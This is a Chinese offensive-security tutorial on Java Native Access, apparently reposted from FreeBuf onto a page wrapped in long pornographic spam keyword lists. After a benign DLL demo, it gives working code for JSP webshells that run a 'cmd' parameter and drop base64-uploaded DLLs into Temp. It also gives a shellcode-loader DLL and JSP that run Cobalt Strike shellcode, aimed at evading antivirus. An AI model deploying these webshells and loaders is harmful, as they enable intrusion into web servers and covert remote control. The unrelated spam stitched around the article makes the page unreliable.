久久久精品视频在线_免费在线a视频_在线看的黄色网址_懂色av粉嫩av浪潮av_艳妇乳肉豪妇荡乳av_国产午夜大地久久_国产在线观看免费播放_天堂视频免费看_久久精品女同亚洲女同13_各处沟厕大尺度偷拍女厕嘘嘘

當前位置: 首頁 >綜合 > 正文

【天天報資訊】我們一起聊聊 JNA 調用動態鏈接庫

2023-05-09 08:08:10 來源:FreeBuf.COM
前言

在一次實際項目中遇到了無法調用exe可執行文件,聽說哥斯拉利用JNA技術實現了內存加載exe、執行命令等操作,特來實踐一下。


(資料圖片)

JNA 基礎知識

JNA全稱:Java Native Access,是建立在JNI(Java Native Interface)技術之上的Java開源框架,JNA提供了一組Java工具類用于在運行期間動態訪問的系統本地庫。簡單理解就是:JNA提供了一個"橋梁",可以利用Java代碼直接訪問動態鏈接庫中的函數。

調用JNI接口

調用JNI接口的步驟為:

創建工程,將dll文件放到工程下引入JNA相關的jar包創建繼承自Library類的接口接口中創建對象用于加載DLL/SO的類庫接口中聲明DLL/SO類庫頭文件中暴露的方法調用該方法編譯DLL

以windows為例,使用Visual Studio 創建一個動態鏈接庫的工程,并定義一個頭文件testdll.h和源文件testdll.cpp。簡單實現一個SayHello的方法創建testdll.cpp,作用是用來實現被聲明的函數。

#include "pch.h"#include "testdll.h"void SayHello(){ std::cout << "Hello!你成功了!" << std::endl;}

創建testdll.h頭文件,作用是用來聲明需要導出的函數接口

#pragma once#include extern "C" __declspec(dllexport) void SayHello();//聲明一個可被調用的函數“SayHello()”,它的返回類型是void。//extern "C"的作用是告訴編譯器將被它修飾的代碼按C語言的方式進行編譯//__declspec(dllexport),此修飾符告訴編譯器和鏈接器被它修飾的函數或變量需要從DLL導出

而后編譯出dll。注意:要DLL位數要與JDK位數相同,否則無法調用。

導入JAR包

首先創建java工程,可以是普通項目也可以是maven功能。maven 需要導入依賴

net.java.dev.jna jna 5.13.0 net.java.dev.jna jna-platform 5.13.0

普通工程可以在 https://github.com/java-native-access/jna 下載jna jar包和platform jar包并導入。

調用DLL

我們需要繼承Library類接口,調用Native類的load方法將我們的testdll.dll加載進來并轉換為本地庫,而后聲明SayHello方法。

public interface Mydll extends Library { Mydll mydll = (Mydll)Native.load("testdll",Mydll.class); void SayHello();}

調用時不需要鏈接庫的后綴,會自動加上。聲明SayHello方法時,結合testdll.h頭文件,沒有返回值為void,也沒有需要的數據類型。(需要的話可查找JNA 數據類型對應關系)

然后在主方法里調用SayHello方法

public static void main(String[] args) { Mydll.mydll.SayHello();}

可以看到成功調用了testdll.dll的SayHello方法。

加載動態鏈接庫

在上面的代碼中,我們直接利用Native.load將dll轉換為本地庫,在此之前缺少了加載這一步。常見的加載動態鏈接庫有三種方法:

System.load / System.loadLibraryRuntime.getRuntime().load / Runtime.getRuntime().loadLibrarycom.sun.glass.utils.NativeLibLoader.loadLibrary

在使用時也有一些區別:load接收的是系統的絕對路徑,loadLibrary接收的是相對路徑。但實際利用過程中肯定是絕對路徑優先于相對路徑。以Runtime.getRuntime().load為例:

但實際利用可能會被安全軟件捕捉。我們反射調用loadLibrary方法。代碼來自Java加載動態鏈接庫這篇文章

try { Class clazz = Class.forName("java.lang.ClassLoader"); java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); method.setAccessible(true); method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true); Mydll mydll = (Mydll)Native.load("testdll",Mydll.class); mydll.SayHello();}catch (Exception e){ e.printStackTrace();}場景利用

現在我們想一下具體場景的利用,在此基礎上調整我們的代碼。

webshell

既然jna加載動態鏈接庫后轉換為本地庫,可以調用dll的任意方法,那實現一個命令執行應該也是可以的。

#include "pch.h"#include "command.h"#include #include void executeCommand(const char* command) { char psBuffer[128]; FILE* pPipe; if ((pPipe = _popen(command, "r")) == NULL) { exit(1); } while (fgets(psBuffer, 128, pPipe)) { puts(psBuffer); } int endOfFileVal = feof(pPipe); int closeReturnVal = _pclose(pPipe); if (endOfFileVal) { printf("\nProcess returned %d\n", closeReturnVal); } else { printf("Error: Failed to read the pipe to the end.\n"); }}

相應的頭文件

#pragma once#include extern "C" __declspec(dllexport) void executeCommand(const char* command);

java代碼加載并調用。

import com.sun.jna.Library;import com.sun.jna.Native;public class test {public interface Mydll extends Library { void executeCommand(String command); } public static void main(String[] args) { try { Class clazz = Class.forName("java.lang.ClassLoader"); java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); method.setAccessible(true); method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true); Mydll mydll = (Mydll)Native.load("testdll",Mydll.class); mydll.executeCommand("ipconfig"); }catch (Exception e){ e.printStackTrace(); } }}

成功實現。結合實際利用我們還需要優化一下代碼,改成jsp腳本文件。因為com.sun.jna包是第三方包,在實際利用肯定沒有。所以這里選擇將自己寫的代碼和jna.jar一塊用maven打包為maven02-1.0-SNAPSHOT-jar-with-dependencies.jar試試。

再把test類名修改為show,把dll動態鏈接庫和將要執行的命令作為參數傳遞進去。現在還差一個加載外部的jar包并調用方法的jsp腳本文件。

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.net.URL" %><%@ page import="java.net.URLClassLoader" %><% String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar"; URLClassLoader urlClassLoader =null; Class MyTest = null; //通過URLClassLoader加載外部jar urlClassLoader = new URLClassLoader(new URL[]{new URL(path)}); //獲取外部jar里面的具體類對象 MyTest = urlClassLoader.loadClass("com.jna.jnatest"); //創建對象實例 Object instance = MyTest.newInstance(); //獲取實例當中的方法名為show Method method = MyTest.getMethod("show", String.class,String.class); //傳入實例以及方法參數信息執行這個方法 Object ada = method.invoke(instance, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll","whoami");%>

這樣用的時候需要向目標服務器手動上傳兩個文件,jar包和dll文件。我們再進一步優化一下。

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.net.URLClassLoader" %><%@ page import="java.net.URL" %><%! private String getFileName(){ String fileName = ""; java.util.Random random = new java.util.Random(System.currentTimeMillis()); String os = System.getProperty("os.name").toLowerCase(); if (os.contains("windows")){ fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll"; }else { fileName = "/tmp/"+ random.nextInt(10000000) + ".so"; } return fileName; } public String UploadBase64DLL(String base64) throws Exception { sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder(); java.io.File file = new java.io.File(getFileName()); java.io.FileOutputStream fos = new java.io.FileOutputStream(file); fos.write(b.decodeBuffer(base64)); fos.close(); return file.getAbsolutePath(); }%><% try{ String cmd = request.getParameter("cmd"); String base64 = request.getParameter("base64"); String file = UploadBase64DLL(base64); String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar"; //通過URLClassLoader加載外部jar URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)}); //獲取外部jar里面的具體類對象 Class MyTest = urlClassLoader.loadClass("com.jna.jnatest"); //創建對象實例 Object instance = MyTest.newInstance(); //獲取實例當中的方法名為show,參數只有一個且類型為string的public方法 Method method = MyTest.getMethod("show", String.class,String.class); //傳入實例以及方法參數信息執行這個方法 Object ada = method.invoke(instance, file,cmd); } catch (Exception e){ out.println(e); }%>

現在只需要手動上傳一個jar包就可以,dll通過base64編碼上傳上去。這樣參數值就是base64編碼之后的dll和cmd要執行的系統命令。

唯一的缺點就是不能在前端顯示,或許將代碼加入到冰蝎可以實現?

shellcode

既然前端無法獲取結果,那直接加載shellcode上線cs呢?我們利用同樣的方式寫出加載shellcode的代碼。shellcode.cpp

#include "shellcode.h"#include using namespace std;void shellcode(PCHAR code, DWORD buf_len) { cout << buf_len << endl; DWORD oldprotect = 0; LPVOID base_addr = NULL; // 申請一塊buf_len長度大小的空間,RW權限,不要開rwx,PAGE_EXECUTE_READWRITE base_addr = VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 復制shellcode到新的空間,這個函數比較罕見,用memcpy也可以呀 unsigned char HexNumArray[4096]; int num = HexStr2HexNum(code, buf_len, HexNumArray); RtlMoveMemory(base_addr, HexNumArray, buf_len); // 修改為執行RX權限 VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect); cout << "starting spawn shellcode" << endl; // 當前進程創建線程執行shellcode auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0); // 等待線程返回值 WaitForSingleObject(ct, -1); // 釋放內存 free(base_addr);}int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray){ int j = 0; for (int i = 0; i < len; i += 2) { if (HexStrArray[i] == 0x5C || HexStrArray[i] == 0x58 || HexStrArray[i] == 0x78) { continue; } char HIGH_BYTE = 0; char LOW_BYTE = 0; //high 4 if (HexStrArray[i] >= 0x30 && HexStrArray[i] <= 0x3A) { HIGH_BYTE = HexStrArray[i] - 0x30; } else if (HexStrArray[i] >= 0x41 && HexStrArray[i] <= 0x47) { HIGH_BYTE = HexStrArray[i] - 0x37; } else if (HexStrArray[i] >= 0x61 && HexStrArray[i] <= 0x67) { HIGH_BYTE = HexStrArray[i] - 0x57; } else { printf("Please make sure the format of Hex String is correct!\r\n"); printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i); return -1; } //low 4 if (HexStrArray[i + 1] >= 0x30 && HexStrArray[i + 1] <= 0x3A) { LOW_BYTE = HexStrArray[i + 1] - 0x30; } else if (HexStrArray[i + 1] >= 0x41 && HexStrArray[i + 1] <= 0x47) { LOW_BYTE = HexStrArray[i + 1] - 0x37; } else if (HexStrArray[i + 1] >= 0x61 && HexStrArray[i + 1] <= 0x67) { LOW_BYTE = HexStrArray[i + 1] - 0x57; } else { printf("Please make sure the format of Hex String is correct!\r\n"); printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i); return -1; } HexNumArray[j] &= 0x0F; HexNumArray[j] |= (HIGH_BYTE << 4); HexNumArray[j] &= 0xF0; HexNumArray[j] |= LOW_BYTE; j++; } return 0;}

shellcode.h

#pragma once#include extern "C" __declspec(dllexport) BOOL shellcode(PCHAR code, DWORD size);int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray);

在java里加載并調用,傳入shellcode和長度。以達到更好的免殺性。

import java.util.Base64;import com.sun.jna.Library;import com.sun.jna.Native;public class test {public interface Mydll extends Library { void shellcode(byte[] b,int length); } public static void show(String base64,String dllpath,String dllname) { try { Class clazz = Class.forName("java.lang.ClassLoader"); java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); method.setAccessible(true); method.invoke(null, clazz, dllpath, true); Mydll mydll = (Mydll)Native.load(dllname,Mydll.class); byte[] base64decodedBytes = java.util.Base64.getDecoder().decode(base64); int leng = base64decodedBytes.length; mydll.shellcode(base64decodedBytes,leng); }catch (Exception e){ e.printStackTrace(); } }public static void main(String[] args) {String base64encodedString = "XHhmY1x4NDhxxxxxxxxxxxxxxx";show(base64encodedString,"C:\\Windows\\Temp\\jna.dll","jna"); }}

此時只需要將shellcode值base64編碼當做字符傳遞即可。測試一下

可以看到正常上線,進程為javaw.exe。那在實際環境中同樣不能這樣利用。依舊把java代碼打包為jar包,再修改一下jsp腳本文件應該就可以在實際運行了。

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.net.URLClassLoader" %><%@ page import="java.net.URL" %><%! private String getFileName(String dllname){ String fileName = ""; String os = System.getProperty("os.name").toLowerCase(); if (os.contains("windows")){ fileName = "C:\\Windows\\Temp\\" + dllname + ".dll"; }else { fileName = "/tmp/"+ dllname + ".so"; } return fileName; } public String UploadBase64DLL(String base64,String dllname) throws Exception { sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder(); java.io.File file = new java.io.File(getFileName(dllname)); java.io.FileOutputStream fos = new java.io.FileOutputStream(file); fos.write(b.decodeBuffer(base64)); fos.close(); return file.getAbsolutePath(); }%><% try{ String shellcode = request.getParameter("shellcode"); String base64dll = request.getParameter("base64dll"); String dllname = request.getParameter("dllname"); String pathdll = UploadBase64DLL(base64dll,dllname); String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar"; URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)}); Class MyTest = urlClassLoader.loadClass("com.jna.jnatest"); Object instance = MyTest.newInstance(); Method method = MyTest.getMethod("show", String.class,String.class,String.class); Object ada = method.invoke(instance,shellcode, pathdll,dllname); } catch (Exception e){ out.println(e); }%>

以tomcat為例,shellcode 即將cobaltstrike的shellcode進行base64編碼,base64dll 是base64編碼dll動態鏈接庫之后的值,dllname即是dll動態鏈接庫的名稱。測試可以正常上線執行命令。上線進程為java.exe。

總結

在學習JNA調用動態鏈接庫的時候,借鑒了很多師傅的思路,但無奈趕不上師傅們的高度,只能用稍微復雜點的辦法完善自己的代碼,來曲折得實現效果。

參考資料

https://www.bilibili.com/video/BV16t411A7it/?spm_id_from=333.337.search-card.all.click&vd_source=0627d2723fb97773126096556cc98e0dhttps://www.cnblogs.com/happyhuangjinjin/p/17219986.htmlhttps://tttang.com/archive/1436/https://payloads.online/archivers/2022-08-11/1/

本文作者:CSeroad,轉載請注明來自FreeBuf.COM

標簽:

返回頂部
中文字幕在线播放日韩| 日韩黄色在线播放| 中国一级特黄毛片| 国产免费视频一区二区三区| 美女露出粉嫩尿囗让男人桶| 婷婷丁香综合网| 免费无码不卡视频在线观看| 婷婷激情小说网| 波多野结衣日韩| 少妇熟女视频一区二区三区| 99re6热在线精品视频| 久久亚洲中文字幕无码| 免费在线观看黄视频| 国产麻豆一精品一男同| 黄色在线观看av| 欧美成人精品免费| 久久久久久久国产视频| wwwxxxx国产| 少妇人妻偷人精品一区二区 | 久久国产波多野结衣| 日本a在线免费观看| 欧美另类视频在线观看| 国产成人精品无码高潮| 色哟哟精品观看| 国产成人免费观看视频 | 国产哺乳奶水91在线播放| 亚洲人人夜夜澡人人爽| 久久99久久99精品| 国产一国产二国产三| 亚洲国产精品成人久久蜜臀| 精品伦精品一区二区三区视频密桃| 成人毛片一区二区| 国产精品久久久久久久久久久久久久久久久 | 亚洲av永久无码精品| 久久av秘一区二区三区| 永久av免费在线观看| 亚洲乱色熟女一区二区三区| 色噜噜噜噜噜噜| 在线观看亚洲色图| av网站免费播放| 国产精品白丝喷水在线观看| 不用播放器的免费av| 亚洲av无码片一区二区三区| 尤物在线免费视频| 欧美又黄又嫩大片a级| 亚洲精品一区二区三区蜜桃 | 日本高清视频免费观看| 在线播放 亚洲| 日本一级淫片免费放| 无码人妻丰满熟妇啪啪网站| 国产自产在线视频| 国产成人a v| 日本爱爱爱视频| 亚洲制服中文字幕| 日本高清视频在线| 无码 制服 丝袜 国产 另类| 国产精品成人久久久| 中文字幕成人动漫| 久久久久xxxx| 男生和女生一起差差差视频| 久久久久久久久久网| 中文字幕+乱码+中文乱码91| 黄色一级片一级片| 日本a在线观看| 亚洲第九十七页| 亚洲福利精品视频| 日本激情视频网站| 日本少妇高潮喷水视频| 国产裸体无遮挡| 亚洲五码在线观看视频| 免费看污视频的网站| 一区二区三区在线播放视频| 久久久久久久久久综合| 波多野结衣影院| 视频二区在线播放| 亚洲免费观看在线| 国产精品久久久毛片| 午夜视频在线播放| 国语对白做受xxxxx在线中国| 亚洲h视频在线观看| av日韩一区二区三区| 亚洲图片欧美在线| 男人草女人视频| 国产精品福利电影| 国产美女主播在线| 国产按摩一区二区三区| 黄色大片中文字幕| 日韩一级中文字幕| 成人在线观看黄| 日本黄色三级网站| 69久久久久久| 欲求不满的岳中文字幕| 香蕉视频xxxx| 成人在线手机视频| 亚洲精品男人的天堂| 国产色无码精品视频国产| 无码人妻aⅴ一区二区三区有奶水| 青花影视在线观看免费高清| 免费黄色一级大片| 免费看欧美黑人毛片| 99热这里只有精品在线观看| 日日碰狠狠添天天爽超碰97| 天天综合网天天综合| 国产九九热视频| 巨胸大乳www视频免费观看| 国产在线观看成人| av在线免费播放网址| 中文字幕码精品视频网站| 免费在线看黄色片| 日本xxxx人| 91视频这里只有精品| 国产美女免费网站| 国精产品一品二品国精品69xx | 日本黄色特级片| 国产精品久久久毛片| 妖精视频一区二区| 成人高清在线观看视频| 黄色片网站在线播放| 日本中文字幕在线不卡| 波多野结衣欲乱| 亚洲国产精品久久久久久6q| 国产 福利 在线| 国内精品免费视频| 国产福利拍拍拍| 国产精品免费看久久久无码| 亚洲伦理在线观看| 久久久国产精品成人免费| 亚洲av成人精品一区二区三区 | 国产精品久久国产精麻豆96堂| 国产www在线| 久久国产精品视频在线观看| 日本人添下边视频免费| 久久免费激情视频| 国产毛片久久久久久国产毛片| 日本人妻一区二区三区| 国内免费精品视频| 国产无限制自拍| 国产福利在线观看视频| 日本视频网站在线观看| 欧美日韩性生活片| 成人无码www在线看免费| 黄色污污网站在线观看| 国产精品人人妻人人爽人人牛| 丰腴饱满的极品熟妇| 亚洲一级av毛片| 中文字幕av不卡在线| 国产又粗又猛又爽又黄的视频四季| 国产乱码久久久久| 嫩草视频免费在线观看| 干日本少妇视频| 四虎永久免费观看| 中文字幕免费在线看| 999在线免费视频| 欧美a级片免费看| 亚洲欧美日韩免费| www.欧美色| 亚洲77777| av磁力番号网| 欧美精品欧美极品欧美激情| 中文字字幕在线观看| 激情文学亚洲色图| 日韩中文字幕亚洲精品欧美| 无码人妻一区二区三区一| 国产三级理论片| 一级淫片在线观看| 超碰成人免费在线| 中文字幕有码在线播放| 午夜国产在线视频| 久久国产香蕉视频| 黄色在线观看免费| 国产毛片视频网站| www深夜成人a√在线| 香蕉视频免费网站| 国产精品无码专区av免费播放| 欧美黄色一级网站| 久久无码高潮喷水| 特级毛片在线免费观看| 熟妇高潮精品一区二区三区| 精品国自产在线观看| 黑人精品无码一区二区三区AV| 天天综合网日韩| 野外做受又硬又粗又大视频√| 国产精品jizz| 日本一区二区三区在线免费观看| 青青艹在线观看| 久久综合激情网| 国产一级特黄a大片免费| av影院在线播放| 精品少妇一区二区三区密爱| 高清中文字幕mv的电影| 亚洲精品综合久久| 波多野结衣毛片| 国产精品1234区| 亚洲娇小娇小娇小| 日本精品免费在线观看| av动漫在线免费观看| 国产小视频你懂的| 男生草女生视频| 亚洲精品无码一区二区| 国精产品一品二品国精品69xx | 国产成人麻豆免费观看| 国产 日韩 欧美 成人| 午夜免费福利在线| 黄色动漫在线免费看| 国产尤物av一区二区三区| chinese全程对白| 亚洲第一综合网| 日本xxxx裸体xxxx| 人妻av一区二区| 成人免费播放视频| 天堂在线观看免费视频| www日本在线| aaa级黄色片| 亚洲视频中文字幕在线观看| 国产又大又粗又爽| 国产一级片久久| 国产成人无码精品亚洲| 视频污在线观看| 毛片在线免费视频| 热久久精品国产| 极品美女扒开粉嫩小泬| 成人短视频在线观看免费| 波多野结衣不卡视频| 国产精品久久久免费看| 国产91色在线观看| japanese国产在线观看| 4444在线观看| 一级黄色录像免费看| av黄色免费在线观看| 亚洲小说欧美另类激情| 无码精品在线观看| 午夜福利视频一区二区| 天堂在线资源8| 色呦呦中文字幕| 五月激情丁香婷婷| 午夜在线视频观看| 五月婷婷狠狠干| 能看毛片的网站| 国产精品果冻传媒| 久久丫精品国产亚洲av不卡| 中文字幕狠狠干| 加勒比综合在线| 精品无码国产污污污免费网站| 国产在线综合视频| 性欧美疯狂猛交69hd| 日本一级二级视频| 日韩国产小视频| 日韩欧美视频网站| 狠狠躁狠狠躁视频专区| 91精品999| 久久精品性爱视频| 黄色片视频免费| 国产精品一区二区免费视频| 国模人体一区二区| 亚洲图片综合网| 亚洲精品91在线| 裸体大乳女做爰69| 鲁一鲁一鲁一鲁一澡| 亚洲xxx在线观看| 日韩精品一区二区在线播放| 最近中文字幕免费在线观看| 99国产成人精品| 婷婷综合激情网| wwwwww日本| 五月天丁香激情| 国产视频一视频二| 亚洲视频第二页| 好吊操这里只有精品| 在线免费观看中文字幕| 亚洲男人天堂久久| 中国特级黄色大片| 日本污视频网站| 国内自拍中文字幕| 成人免费xxxxx在线视频| 久久精品一区二区三| 91porny九色| 免费观看的毛片| www.久久av| 影音先锋成人资源网站| 手机看片福利日韩| 黄色片视频网站| 国产精品亚洲欧美在线播放| 日本黄色www| 亚洲欧洲综合网| 2022亚洲天堂| 日本熟妇毛耸耸xxxxxx| 国产免费高清av| 欧美精品欧美极品欧美激情| 五月天免费网站| 免费看的黄色录像| 国产一区二区视频播放| 9l视频白拍9色9l视频| 日本午夜视频在线观看| 国产肥老妇视频| 国产xxx在线观看| 手机看片日韩av| 激情视频小说图片| 中文字幕av专区| 亚洲欧美偷拍一区| 好吊视频一区二区三区| 永久免费毛片在线观看| 国产成人av免费在线观看| 激情伊人五月天| 久久午夜无码鲁丝片| 久久国产在线观看| 精品国产va久久久久久久| 久久人人爽人人爽人人片 | 男女视频在线看| 波多野结衣国产| 四季av日韩精品一区| 男人的天堂官网| 成人午夜视频免费在线观看| 久久综合成人网| 高清国产mv在线观看| 日本一级大毛片a一| 国产精品久久久久久久av| 91精品91久久久中77777老牛| 妺妺窝人体色www婷婷| 中文字幕在线观看欧美| 日本黄色动态图| 永久免费未视频| 久久精品网站视频| 青青草成人av| 无码国精品一区二区免费蜜桃| 中日韩一级黄色片| 香蕉视频禁止18| 国产人妖一区二区三区| 国产精品亚洲无码| 浮妇高潮喷白浆视频| 最近中文字幕在线观看| 欧美日韩人妻精品一区在线| 大桥未久一区二区三区| 色播五月激情五月| 97精品人妻一区二区三区在线 | 粉嫩av性色av蜜臀av网站| 最近日韩免费视频| 黄色一级免费视频| 亚洲一级av毛片| 一女二男一黄一片| 性欧美精品男男| www.四虎成人| 91丝袜一区二区三区| 午夜国产在线视频| 欧美日韩亚洲国产成人| 亚洲男人第一av| 已婚少妇美妙人妻系列| 中国黄色a级片| 国产一线二线三线女| 欧美视频xxxx| 9.1成人看片免费版| www.色就是色| 国产又黄又猛又爽| 亚洲图片另类小说| 8x8x最新地址| 99在线小视频| 可以在线看黄的网站| 国产一级一片免费播放| 日本高清视频在线| 亚洲精品国产手机| 国产小视频你懂的| 久久综合在线观看| 国模大尺度视频| 国产精品久久久久9999爆乳| 免费在线不卡视频| 欧类av怡春院| av免费中文字幕| av 一区二区三区| 国产精品久久成人免费观看| 日韩精品一区二区av| 少妇一级淫免费观看| 日本欧美视频在线观看| 一级特黄色大片| 日韩精品一区二区亚洲av性色| 久久久久久久蜜桃| 99re久久精品国产| 国产中文字幕免费观看| 国产精品久久久国产盗摄| 国产一二三四区| 中国黄色一级视频| 国产日韩欧美在线观看视频| 无码人妻黑人中文字幕| xxxxx99| 精品成人免费视频| 精品无码人妻一区二区免费蜜桃| 一区二区三区 日韩| 大桥未久恸哭の女教师| 手机在线免费观看毛片| 伊人久久一区二区三区| 午夜宅男在线视频| 精品人妻无码一区二区三区| 一本色道久久亚洲综合精品蜜桃 | 99久久国产精| av片中文字幕| av电影中文字幕| 亚洲欧美国产中文| 国产欧美一级片| 亚洲36d大奶网| 国产黄色高清视频| 日韩国产精品毛片| 国产av无码专区亚洲av|